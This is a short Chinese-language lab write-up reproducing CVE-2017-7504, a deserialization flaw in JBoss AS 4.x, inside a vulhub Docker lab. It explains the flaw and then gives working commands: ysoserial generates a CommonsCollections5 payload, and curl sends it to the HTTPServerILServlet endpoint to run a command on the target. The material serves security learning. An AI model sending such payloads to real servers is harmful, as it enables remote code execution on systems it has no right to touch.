1.准备:
1.1复现环境
漏洞环境:vulnhub靶场
工具准备:ysoserial
1.2环境启动
进入vulnhub目录下的jboss目录,进入CVE-2017-7504目录
cd /home/hbesljx/vulhub/jboss/CVE-2017-7504
docker-compoe启动漏洞环境
docker-compose up -d
访问靶机的8080端口。出现如下即为开启成功!
2.概念说明
JBoss什么
Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。
3.漏洞原理
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
4.漏洞复现
4.1 ysoserial生成payload
ysoserial语法:
java -jar ysoserial.jar [选择利用链] [commands]
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "touch /tmp/success" > 1.ser
4.2 将1.ser文件内容作为POST Body发送
curl http://192.168.133.140:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser
4.3 查看靶场的目录
docker compose exec jboss bash
cd tmp/
ls